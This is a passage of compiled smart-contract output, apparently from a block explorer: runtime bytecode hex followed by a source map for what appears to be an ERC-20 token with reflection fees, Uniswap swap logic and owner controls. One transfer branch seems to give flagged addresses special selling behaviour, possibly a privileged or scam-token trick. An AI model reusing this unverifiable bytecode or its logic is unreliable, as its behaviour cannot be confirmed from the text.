40161048b565b6001600160a01b0381166105b75760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661063f5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b03831661066e5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106fd5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b03821661072c5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f81116107545760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f546001600160a01b0384811691161480159061077e57505f546001600160a01b03838116911614155b1561091d576007546001600160a01b038381169116148015906107ae57506006546001600160a01b038481169116145b80156107d257506001600160a01b0382165f9081526013602052604090205460ff16155b15610806576014548111156107e5575f80fd5b601554816107f28461043c565b6107fc9190611387565b1115610806575f80fd5b5f6108103061043c565b6017546001600160a01b0385165f908152601360205260409020549192508210159060ff1615801561085a57506001600160a01b0385165f9081526013602052604090205460ff16155b8015610868575060095460ff165b80156108715750805b80156108855750600954610100900460ff16155b801561089f57506006546001600160a01b03868116911614155b156108bf576108ad82610aa7565b4780156108bd576108bd47610c11565b505b6001600160a01b0385165f9081526013602052604090205460ff161561091a576006546001600160a01b0385811691161480156109035750826109018661043c565b105b1561091a57610913848685610c85565b5050505050565b50505b6001600160a01b0383165f9081526013602052604090205460019060ff168061095d57506001600160a01b0383165f9081526013602052604090205460ff165b8061098f57506006546001600160a01b0384811691161480159061098f57506006546001600160a01b03858116911614155b1561099b57505f610a15565b6006546001600160a01b0385811691161480156109c657506007546001600160a01b03848116911614155b156109d857600454600f556005546010555b6006546001600160a01b038481169116148015610a0357506007546001600160a01b03858116911614155b15610a1557600a54600f55600b546010555b610a2184848484610d78565b50505050565b5f8184841115610a4a5760405162461bcd60e51b815260040161048b9190611151565b505f610a56848661139a565b95945050505050565b5f601654821115610a8b5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f610a94610da6565b9050610aa08382610dc7565b9392505050565b6009805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ae957610ae96113ad565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b40573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6491906113c1565b81600181518110610b7757610b776113ad565b6001600160a01b039283166020918202929092010152600754610b9d9130911684610610565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bd59085905f908690309042906004016113dc565b5f604051808303815f87803b158015610bec575f80fd5b505af1158015610bfe573d5f803e3d5ffd5b50506009805461ff001916905550505050565b6009805461ff0019166101001790556018545f90610c3d90606490610c37908590610de1565b90610dc7565b6002546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610c75573d5f803e3d5ffd5b50506009805461ff001916905550565b5f805f805f80610c9487610e2e565b6001600160a01b038f165f908152600e6020526040902054959b50939950919750955093509150610cc59087610e83565b6001600160a01b03808b165f908152600e602052604080822093909355908a1681522054610cf39086610e9d565b6001600160a01b0389165f908152600e6020526040902055610d16818a8a610ed4565b610d208483610f66565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d6591815260200190565b60405180910390a3505050505050505050565b80610d8557610d85610f8a565b610d90848484610c85565b80610a2157610a21601154600f55601254601055565b5f805f610db1610fb7565b9092509050610dc08282610dc7565b9250505090565b5f610aa0838360405180602001604052805f815250611038565b5f825f03610df057505f6103bb565b5f610dfb8385611370565b905082610e08858361144d565b14610aa05760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f805f805f805f805f610e468a600f54601054611064565b9250925092505f610e55610da6565b90505f805f610e668e8787876110af565b919e509c509a509598509396509194505050505091939550919395565b5f610aa0838360405180602001604052805f815250610a27565b5f80610ea98385611387565b905083811015610aa05760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6003546001600160a01b03165f908152600e6020526040812054610ef790610a5f565b90505f610f0484846110fa565b610f0e575f610f1c565b81601054610f1c919061139a565b9050610f26610da6565b90505f610f338683610de1565b305f908152600e6020526040902054909150610f4f9082610e9d565b305f908152600e6020526040902055505050505050565b601654610f739083610e83565b601655600854610f839082610e9d565b6008555050565b601054158015610f9a5750600f54155b15610fa157565b60108054601255600f80546011555f9182905555565b6016545f90819081610fcb6012600a611362565b610fd99063ee6b2800611370565b9050611001610fea6012600a611362565b610ff89063ee6b2800611370565b60165490610dc7565b82101561102f576016546110176012600a611362565b6110259063ee6b2800611370565b9350935050509091565b90939092509050565b5f81836110585760405162461bcd60e51b815260040161048b9190611151565b505f610a56848661144d565b5f8080806110776064610c378988610de1565b90505f6110896064610c378a8a610de1565b90505f6110a08361109a8b85610e83565b90610e83565b99919850919650945050505050565b5f8080806110bd8686610de1565b90505f6110ca8887610de1565b90505f6110d78a88610de1565b90505f6110e88461109a8486610e83565b919b919a509198509650505050505050565b6001600160a01b038083165f90815260136020526040808220549284168252812054909160ff9081161591161581801561114257506006546001600160a01b03868116911614155b8015610a565750949350505050565b5f602080835283518060208501525f5b8181101561117d57858101830151858201604001528201611161565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b1575f80fd5b50565b5f80604083850312156111c5575f80fd5b82356111d08161119d565b946020939093013593505050565b5f805f606084860312156111f0575f80fd5b83356111fb8161119d565b9250602084013561120b8161119d565b929592945050506040919091013590565b5f6020828403121561122c575f80fd5b8135610aa08161119d565b5f8060408385031215611248575f80fd5b82356112538161119d565b915060208301356112638161119d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112bc57815f19048211156112a2576112a261126e565b808516156112af57918102915b93841c9390800290611287565b509250929050565b5f826112d2575060016103bb565b816112de57505f6103bb565b81600181146112f457600281146112fe5761131a565b60019150506103bb565b60ff84111561130f5761130f61126e565b50506001821b6103bb565b5060208310610133831016604e8410600b841016171561133d575081810a6103bb565b6113478383611282565b805f190482111561135a5761135a61126e565b029392505050565b5f610aa060ff8416836112c4565b80820281158282048414176103bb576103bb61126e565b808201808211156103bb576103bb61126e565b818103818111156103bb576103bb61126e565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113d1575f80fd5b8151610aa08161119d565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561142c5784516001600160a01b031683529383019391830191600101611407565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261146757634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212206c3649b6d885f0acc18171c5ea1fce8c934c1e12dde8add43f2002b44b5fe7f564736f6c63430008160033

Deployed Bytecode Sourcemap

3224:10591:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4741:60;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4741:60:0;;;;;;;;5676:83;;;;;;;;;;-1:-1:-1;5746:5:0;;;;;;;;;;;;-1:-1:-1;;;5746:5:0;;;;5676:83;;;;;;;:::i;6626:161::-;;;;;;;;;;-1:-1:-1;6626:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6626:161:0;1205:187:1;3753:41:0;;;;;;;;;;-1:-1:-1;3753:41:0;;;;-1:-1:-1;;;;;3753:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;3753:41:0;1397:229:1;6008:95:0;;;;;;;;;;;;;:::i;9033:251::-;;;;;;;;;;-1:-1:-1;9033:251:0;;;;;:::i;:::-;;:::i;6111:83::-;;;;;;;;;;-1:-1:-1;6111:83:0;;3537:2;2234:36:1;;2222:2;2207:18;6111:83:0;2092:184:1;3718:28:0;;;;;;;;;;-1:-1:-1;3718:28:0;;;;-1:-1:-1;;;;;3718:28:0;;;4810:32;;;;;;;;;;-1:-1:-1;4810:32:0;;;;;;5862:138;;;;;;;;;;-1:-1:-1;5862:138:0;;;;;:::i;:::-;;:::i;2533:148::-;;;;;;;;;;;;;:::i;:::-;;4513:42;;;;;;;;;;;;;;;;4952:107;;;;;;;;;;;;;:::i;2232:79::-;;;;;;;;;;-1:-1:-1;2270:7:0;2297:6;-1:-1:-1;;;;;2297:6:0;2232:79;;5767:87;;;;;;;;;;-1:-1:-1;5839:7:0;;;;;;;;;;;;-1:-1:-1;;;5839:7:0;;;;5767:87;;8872:153;;;;;;;;;;-1:-1:-1;8872:153:0;;;;;:::i;:::-;;:::i;6202:143::-;;;;;;;;;;-1:-1:-1;6202:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6310:18:0;;;6283:7;6310:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6202:143;2319:206;;;;;;;;;;-1:-1:-1;2319:206:0;;;;;:::i;:::-;;:::i;4562:46::-;;;;;;;;;;;;;;;;6626:161;6701:4;6718:39;1210:10;6741:7;6750:6;6718:8;:39::i;:::-;-1:-1:-1;6775:4:0;6626:161;;;;;:::o;6008:95::-;6061:7;4665:13;3537:2;4665;:13;:::i;:::-;4652:26;;:10;:26;:::i;:::-;6081:14;;6008:95;:::o;9033:251::-;9122:4;9139:27;9149:4;9155:2;9159:6;9139:9;:27::i;:::-;9206:47;;;;;;;;;-1:-1:-1;9206:47:0;;;-1:-1:-1;;;;;9206:17:0;;;;:11;:17;;;;;1210:10;9206:31;;;;;;;;;;9177:77;;9186:4;;1210:10;;9206:47;;9242:6;;9206:35;:47::i;:::-;9177:8;:77::i;:::-;-1:-1:-1;9272:4:0;9033:251;;;;;:::o;5862:138::-;-1:-1:-1;;;;;5975:16:0;;5928:7;5975:16;;;:7;:16;;;;;;5955:37;;:19;:37::i;2533:148::-;2016:6;;-1:-1:-1;;;;;2016:6:0;1210:10;2016:22;2008:35;;;;-1:-1:-1;;;2008:35:0;;5018:2:1;2008:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;2008:35:0;;;;;;;;;2640:1:::1;2624:6:::0;;2603:40:::1;::::0;-1:-1:-1;;;;;2624:6:0;;::::1;::::0;2603:40:::1;::::0;2640:1;;2603:40:::1;2671:1;2654:19:::0;;-1:-1:-1;;;;;;2654:19:0::1;::::0;;2533:148::o;4952:107::-;2016:6;;-1:-1:-1;;;;;2016:6:0;1210:10;2016:22;2008:35;;;;-1:-1:-1;;;2008:35:0;;5018:2:1;2008:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;2008:35:0;4816:284:1;2008:35:0;4665:13:::1;3537:2;4665;:13;:::i;:::-;4652:26;::::0;:10:::1;:26;:::i;:::-;5006:5;:15:::0;4665:13:::1;3537:2;4665;:13;:::i;:::-;4652:26;::::0;:10:::1;:26;:::i;:::-;5032:9;:19:::0;4952:107::o;8872:153::-;8943:4;8960:35;1210:10;8984:2;8988:6;8960:9;:35::i;2319:206::-;2016:6;;-1:-1:-1;;;;;2016:6:0;1210:10;2016:22;2008:35;;;;-1:-1:-1;;;2008:35:0;;5018:2:1;2008:35:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;2008:35:0;4816:284:1;2008:35:0;-1:-1:-1;;;;;2408:22:0;::::1;2400:35;;;::::0;-1:-1:-1;;;2400:35:0;;5018:2:1;2400:35:0::1;::::0;::::1;5000:21:1::0;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;2400:35:0::1;4816:284:1::0;2400:35:0::1;2472:6;::::0;;2451:38:::1;::::0;-1:-1:-1;;;;;2451:38:0;;::::1;::::0;2472:6;::::1;::::0;2451:38:::1;::::0;::::1;2500:6;:17:::0;;-1:-1:-1;;;;;;2500:17:0::1;-1:-1:-1::0;;;;;2500:17:0;;;::::1;::::0;;;::::1;::::0;;2319:206::o;6353:265::-;-1:-1:-1;;;;;6446:21:0;;6438:34;;;;-1:-1:-1;;;6438:34:0;;5018:2:1;6438:34:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6438:34:0;4816:284:1;6438:34:0;-1:-1:-1;;;;;6491:19:0;;6483:32;;;;-1:-1:-1;;;6483:32:0;;5018:2:1;6483:32:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6483:32:0;4816:284:1;6483:32:0;-1:-1:-1;;;;;6526:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6578:32;;160:25:1;;;6578:32:0;;133:18:1;6578:32:0;;;;;;;6353:265;;;:::o;6795:2069::-;-1:-1:-1;;;;;6883:18:0;;6875:31;;;;-1:-1:-1;;;6875:31:0;;5018:2:1;6875:31:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6875:31:0;4816:284:1;6875:31:0;-1:-1:-1;;;;;6925:16:0;;6917:29;;;;-1:-1:-1;;;6917:29:0;;5018:2:1;6917:29:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6917:29:0;4816:284:1;6917:29:0;6974:1;6965:6;:10;6957:23;;;;-1:-1:-1;;;6957:23:0;;5018:2:1;6957:23:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;6957:23:0;4816:284:1;6957:23:0;2270:7;2297:6;-1:-1:-1;;;;;6997:15:0;;;2297:6;;6997:15;;;;:32;;-1:-1:-1;2270:7:0;2297:6;-1:-1:-1;;;;;7016:13:0;;;2297:6;;7016:13;;6997:32;6993:1205;;;7082:15;;-1:-1:-1;;;;;7068:30:0;;;7082:15;;7068:30;;;;:72;;-1:-1:-1;7127:13:0;;-1:-1:-1;;;;;7119:21:0;;;7127:13;;7119:21;7068:72;:109;;;;-1:-1:-1;;;;;;7162:15:0;;;;;;:11;:15;;;;;;;;7161:16;7068:109;7046:269;;;7230:5;;7220:6;:15;;7212:24;;;;;;7289:9;;7279:6;7263:13;7273:2;7263:9;:13::i;:::-;:22;;;;:::i;:::-;:35;;7255:44;;;;;;7331:27;7361:24;7379:4;7361:9;:24::i;:::-;7438:20;;-1:-1:-1;;;;;7498:15:0;;7400:12;7498:15;;;:11;:15;;;;;;7331:54;;-1:-1:-1;7415:43:0;;;;7498:15;;7497:16;:55;;;;-1:-1:-1;;;;;;7535:17:0;;;;;;:11;:17;;;;;;;;7534:18;7497:55;:87;;;;-1:-1:-1;7573:11:0;;;;7497:87;:115;;;;;7605:7;7497:115;:145;;;;-1:-1:-1;7634:8:0;;;;;;;7633:9;7497:145;:187;;;;-1:-1:-1;7671:13:0;;-1:-1:-1;;;;;7663:21:0;;;7671:13;;7663:21;;7497:187;7475:483;;;7719:37;7736:19;7719:16;:37::i;:::-;7803:21;7847;;7843:100;;7893:30;7901:21;7893:7;:30::i;:::-;7700:258;7475:483;-1:-1:-1;;;;;7978:17:0;;;;;;:11;:17;;;;;;;;7974:213;;;8020:13;;-1:-1:-1;;;;;8020:19:0;;;:13;;:19;:47;;;;;8061:6;8043:15;8053:4;8043:9;:15::i;:::-;:24;8020:47;8016:156;;;8092:31;8106:2;8110:4;8116:6;8092:13;:31::i;:::-;8146:7;;6795:2069;;;:::o;8016:156::-;7031:1167;;6993:1205;-1:-1:-1;;;;;8264:17:0;;8210:15;8264:17;;;:11;:17;;;;;;8228:4;;8264:17;;;:36;;-1:-1:-1;;;;;;8285:15:0;;;;;;:11;:15;;;;;;;;8264:36;8263:101;;;-1:-1:-1;8325:13:0;;-1:-1:-1;;;;;8319:19:0;;;8325:13;;8319:19;;;;:44;;-1:-1:-1;8350:13:0;;-1:-1:-1;;;;;8342:21:0;;;8350:13;;8342:21;;8319:44;8245:556;;;-1:-1:-1;8404:5:0;8245:556;;;8454:13;;-1:-1:-1;;;;;8446:21:0;;;8454:13;;8446:21;:55;;;;-1:-1:-1;8485:15:0;;-1:-1:-1;;;;;8471:30:0;;;8485:15;;8471:30;;8446:55;8442:165;;;8535:15;;8522:10;:28;8579:12;;8569:7;:22;8442:165;8633:13;;-1:-1:-1;;;;;8627:19:0;;;8633:13;;8627:19;:55;;;;-1:-1:-1;8666:15:0;;-1:-1:-1;;;;;8650:32:0;;;8666:15;;8650:32;;8627:55;8623:167;;;8716:16;;8703:10;:29;8761:13;;8751:7;:23;8623:167;8811:45;8827:4;8833:2;8837:6;8845:10;8811:15;:45::i;:::-;6864:2000;6795:2069;;;:::o;626:190::-;712:7;748:12;740:6;;;;732:29;;;;-1:-1:-1;;;732:29:0;;;;;;;;:::i;:::-;-1:-1:-1;772:9:0;784:5;788:1;784;:5;:::i;:::-;772:17;626:190;-1:-1:-1;;;;;626:190:0:o;11013:212::-;11081:7;11120;;11109;:18;;11101:31;;;;-1:-1:-1;;;11101:31:0;;5018:2:1;11101:31:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;11101:31:0;4816:284:1;11101:31:0;11143:19;11165:10;:8;:10::i;:::-;11143:32;-1:-1:-1;11193:24:0;:7;11143:32;11193:11;:24::i;:::-;11186:31;11013:212;-1:-1:-1;;;11013:212:0:o;10601:404::-;4882:8;:15;;-1:-1:-1;;4882:15:0;;;;;10700:16:::1;::::0;;10714:1:::1;10700:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10700:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10700:16:0::1;10676:40;;10745:4;10727;10732:1;10727:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10727:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10771:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10771:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10727:7;;10771:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10761:4;10766:1;10761:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10761:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10836:15:::1;::::0;10804:62:::1;::::0;10821:4:::1;::::0;10836:15:::1;10854:11:::0;10804:8:::1;:62::i;:::-;10877:15;::::0;:120:::1;::::0;-1:-1:-1;;;10877:120:0;;-1:-1:-1;;;;;10877:15:0;;::::1;::::0;:66:::1;::::0;:120:::1;::::0;10944:11;;10877:15:::1;::::0;10960:4;;10974::::1;::::0;10981:15:::1;::::0;10877:120:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4920:8:0;:16;;-1:-1:-1;;4920:16:0;;;-1:-1:-1;;;;10601:404:0:o;13258:175::-;4882:8;:15;;-1:-1:-1;;4882:15:0;;;;;13355:12:::1;:15:::0;4882;;13341:39:::1;::::0;13376:3:::1;::::0;13341:30:::1;::::0;:9;;:13:::1;:30::i;:::-;:34:::0;::::1;:39::i;:::-;13399:6;::::0;13391:34:::1;::::0;13322:58;;-1:-1:-1;;;;;;13399:6:0::1;::::0;13391:34;::::1;;;::::0;13322:58;;13399:6:::1;13391:34:::0;13399:6;13391:34;13322:58;13399:6;13391:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4920:8:0;:16;;-1:-1:-1;;4920:16:0;;;-1:-1:-1;13258:175:0:o;12021:464::-;12107:15;12124:23;12149:13;12164:23;12189:13;12204;12221:19;12232:7;12221:10;:19::i;:::-;-1:-1:-1;;;;;12267:13:0;;;;;;:7;:13;;;;;;12106:134;;-1:-1:-1;12106:134:0;;-1:-1:-1;12106:134:0;;-1:-1:-1;12106:134:0;-1:-1:-1;12106:134:0;-1:-1:-1;12106:134:0;-1:-1:-1;12267:26:0;;12106:134;12267:17;:26::i;:::-;-1:-1:-1;;;;;12251:13:0;;;;;;;:7;:13;;;;;;:42;;;;12318:11;;;;;;;:32;;12334:15;12318;:32::i;:::-;-1:-1:-1;;;;;12304:11:0;;;;;;:7;:11;;;;;:46;12361:28;12373:5;12380:4;12312:2;12361:11;:28::i;:::-;12400:26;12413:5;12420;12400:12;:26::i;:::-;12457:2;-1:-1:-1;;;;;12442:35:0;12451:4;-1:-1:-1;;;;;12442:35:0;;12461:15;12442:35;;;;160:25:1;;148:2;133:18;;14:177;12442:35:0;;;;;;;;12095:390;;;;;;12021:464;;;:::o;10039:231::-;10147:10;10142:33;;10159:16;:14;:16::i;:::-;10186:31;10200:4;10206:2;10210:6;10186:13;:31::i;:::-;10233:10;10228:34;;10245:17;13500:14;;13487:10;:27;13535:11;;13525:7;:21;13441:113;12493:164;12535:7;12556:15;12573;12592:19;:17;:19::i;:::-;12555:56;;-1:-1:-1;12555:56:0;-1:-1:-1;12629:20:0;12555:56;;12629:11;:20::i;:::-;12622:27;;;;12493:164;:::o;94:106::-;152:7;179:13;183:1;186;179:13;;;;;;;;;;;;:3;:13::i;405:213::-;463:7;487:1;492;487:6;483:47;;-1:-1:-1;517:1:0;510:8;;483:47;540:9;552:5;556:1;552;:5;:::i;:::-;540:17;-1:-1:-1;585:1:0;576:5;580:1;540:17;576:5;:::i;:::-;:10;568:23;;;;-1:-1:-1;;;568:23:0;;5018:2:1;568:23:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;568:23:0;4816:284:1;9292:474:0;9351:7;9360;9369;9378;9387;9396;9417:23;9442:13;9457;9474:41;9486:7;9495:10;;9507:7;;9474:11;:41::i;:::-;9416:99;;;;;;9526:19;9548:10;:8;:10::i;:::-;9526:32;;9570:15;9587:23;9612:13;9629:47;9641:7;9650:5;9657;9664:11;9629;:47::i;:::-;9569:107;;-1:-1:-1;9569:107:0;-1:-1:-1;9569:107:0;-1:-1:-1;9728:15:0;;-1:-1:-1;9745:5:0;;-1:-1:-1;9752:5:0;;-1:-1:-1;;;;;9292:474:0;;;;;;;:::o;824:106::-;882:7;909:13;913:1;916;909:13;;;;;;;;;;;;:3;:13::i;938:152::-;996:7;;1028:5;1032:1;1028;:5;:::i;:::-;1016:17;;1057:1;1052;:6;;1044:19;;;;-1:-1:-1;;;1044:19:0;;5018:2:1;1044:19:0;;;5000:21:1;-1:-1:-1;5037:18:1;;;5030:29;5076:18;;1044:19:0;4816:284:1;12827:423:0;12973:11;;-1:-1:-1;;;;;12973:11:0;12922:20;12965;;;:7;:20;;;;;;12945:41;;:19;:41::i;:::-;12922:64;;12997:19;13019:41;13037:9;13048:11;13019:17;:41::i;:::-;:70;;13088:1;13019:70;;;13073:12;13063:7;;:22;;;;:::i;:::-;12997:92;;13114:10;:8;:10::i;:::-;13100:24;-1:-1:-1;13135:13:0;13151:22;:5;13100:24;13151:9;:22::i;:::-;13225:4;13209:22;;;;:7;:22;;;;;;13135:38;;-1:-1:-1;13209:33:0;;13135:38;13209:26;:33::i;:::-;13200:4;13184:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;;12827:423:0:o;12665:154::-;12746:7;;:18;;12758:5;12746:11;:18::i;:::-;12736:7;:28;12789:11;;:22;;12805:5;12789:15;:22::i;:::-;12775:11;:36;-1:-1:-1;;12665:154:0:o;13562:213::-;13611:7;;:12;:31;;;;-1:-1:-1;13627:10:0;;:15;13611:31;13607:44;;;13562:213::o;13607:44::-;13675:7;;;13661:11;:21;13710:10;;;13693:14;:27;-1:-1:-1;13731:11:0;;;;13753:14;13562:213::o;9774:257::-;9872:7;;9825;;;;;4665:13;3537:2;4665;:13;:::i;:::-;4652:26;;:10;:26;:::i;:::-;9890:25;-1:-1:-1;9940:20:0;4665:13;3537:2;4665;:13;:::i;:::-;4652:26;;:10;:26;:::i;:::-;9940:7;;;:11;:20::i;:::-;9930:7;:30;9926:61;;;9970:7;;4665:13;3537:2;4665;:13;:::i;:::-;4652:26;;:10;:26;:::i;:::-;9962:25;;;;;;9774:257;;:::o;9926:61::-;10006:7;;10015;;-1:-1:-1;9774:257:0;-1:-1:-1;9774:257:0:o;208:189::-;294:7;329:12;322:5;314:28;;;;-1:-1:-1;;;314:28:0;;;;;;;;:::i;:::-;-1:-1:-1;353:9:0;365:5;369:1;365;:5;:::i;11655:358::-;11750:7;;;;11804:28;11828:3;11804:19;:7;11816:6;11804:11;:19::i;:28::-;11788:44;-1:-1:-1;11843:13:0;11859:31;11886:3;11859:22;:7;11871:9;11859:11;:22::i;:31::-;11843:47;-1:-1:-1;11901:23:0;11927:29;11950:5;11927:18;:7;11843:47;11927:11;:18::i;:::-;:22;;:29::i;:::-;11901:55;11992:5;;-1:-1:-1;11999:5:0;;-1:-1:-1;11655:358:0;-1:-1:-1;;;;;11655:358:0:o;11233:414::-;11344:7;;;;11398:22;:5;11408:11;11398:9;:22::i;:::-;11382:38;-1:-1:-1;11431:13:0;11447:22;:5;11457:11;11447:9;:22::i;:::-;11431:38;-1:-1:-1;11480:15:0;11498:24;:7;11510:11;11498;:24::i;:::-;11480:42;-1:-1:-1;11533:23:0;11559:29;11582:5;11559:18;11480:42;11571:5;11559:11;:18::i;:29::-;11607:7;;;;-1:-1:-1;11633:5:0;;-1:-1:-1;11233:414:0;-1:-1:-1;;;;;;;11233:414:0:o;10278:315::-;-1:-1:-1;;;;;10410:22:0;;;10367:4;10410:22;;;:11;:22;;;;;;;10471:24;;;;;;;;10367:4;;10410:22;;;;10409:23;;10471:24;10470:25;10409:23;10515:47;;;;-1:-1:-1;10549:13:0;;-1:-1:-1;;;;;10536:26:0;;;10549:13;;10536:26;;10515:47;:70;;;;-1:-1:-1;10566:19:0;10508:77;-1:-1:-1;;;;10278:315:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:416;3355:1;3392:5;3355:1;3406:270;3427:7;3417:8;3414:21;3406:270;;;3486:4;3482:1;3478:6;3474:17;3468:4;3465:27;3462:53;;;3495:18;;:::i;:::-;3545:7;3535:8;3531:22;3528:55;;;3565:16;;;;3528:55;3644:22;;;;3604:15;;;;3406:270;;;3410:3;3266:416;;;;;:::o;3687:806::-;3736:5;3766:8;3756:80;;-1:-1:-1;3807:1:1;3821:5;;3756:80;3855:4;3845:76;;-1:-1:-1;3892:1:1;3906:5;;3845:76;3937:4;3955:1;3950:59;;;;4023:1;4018:130;;;;3930:218;;3950:59;3980:1;3971:10;;3994:5;;;4018:130;4055:3;4045:8;4042:17;4039:43;;;4062:18;;:::i;:::-;-1:-1:-1;;4118:1:1;4104:16;;4133:5;;3930:218;;4232:2;4222:8;4219:16;4213:3;4207:4;4204:13;4200:36;4194:2;4184:8;4181:16;4176:2;4170:4;4167:12;4163:35;4160:77;4157:159;;;-1:-1:-1;4269:19:1;;;4301:5;;4157:159;4348:34;4373:8;4367:4;4348:34;:::i;:::-;4418:6;4414:1;4410:6;4406:19;4397:7;4394:32;4391:58;;;4429:18;;:::i;:::-;4467:20;;3687:806;-1:-1:-1;;;3687:806:1:o;4498:140::-;4556:5;4585:47;4626:4;4616:8;4612:19;4606:4;4585:47;:::i;4643:168::-;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;5105:125::-;5170:9;;;5191:10;;;5188:36;;;5204:18;;:::i;5235:128::-;5302:9;;;5323:11;;;5320:37;;;5337:18;;:::i;5500:127::-;5561:10;5556:3;5552:20;5549:1;5542:31;5592:4;5589:1;5582:15;5616:4;5613:1;5606:15;5632:251;5702:6;5755:2;5743:9;5734:7;5730:23;5726:32;5723:52;;;5771:1;5768;5761:12;5723:52;5803:9;5797:16;5822:31;5847:5;5822:31;:::i;5888:980::-;6150:4;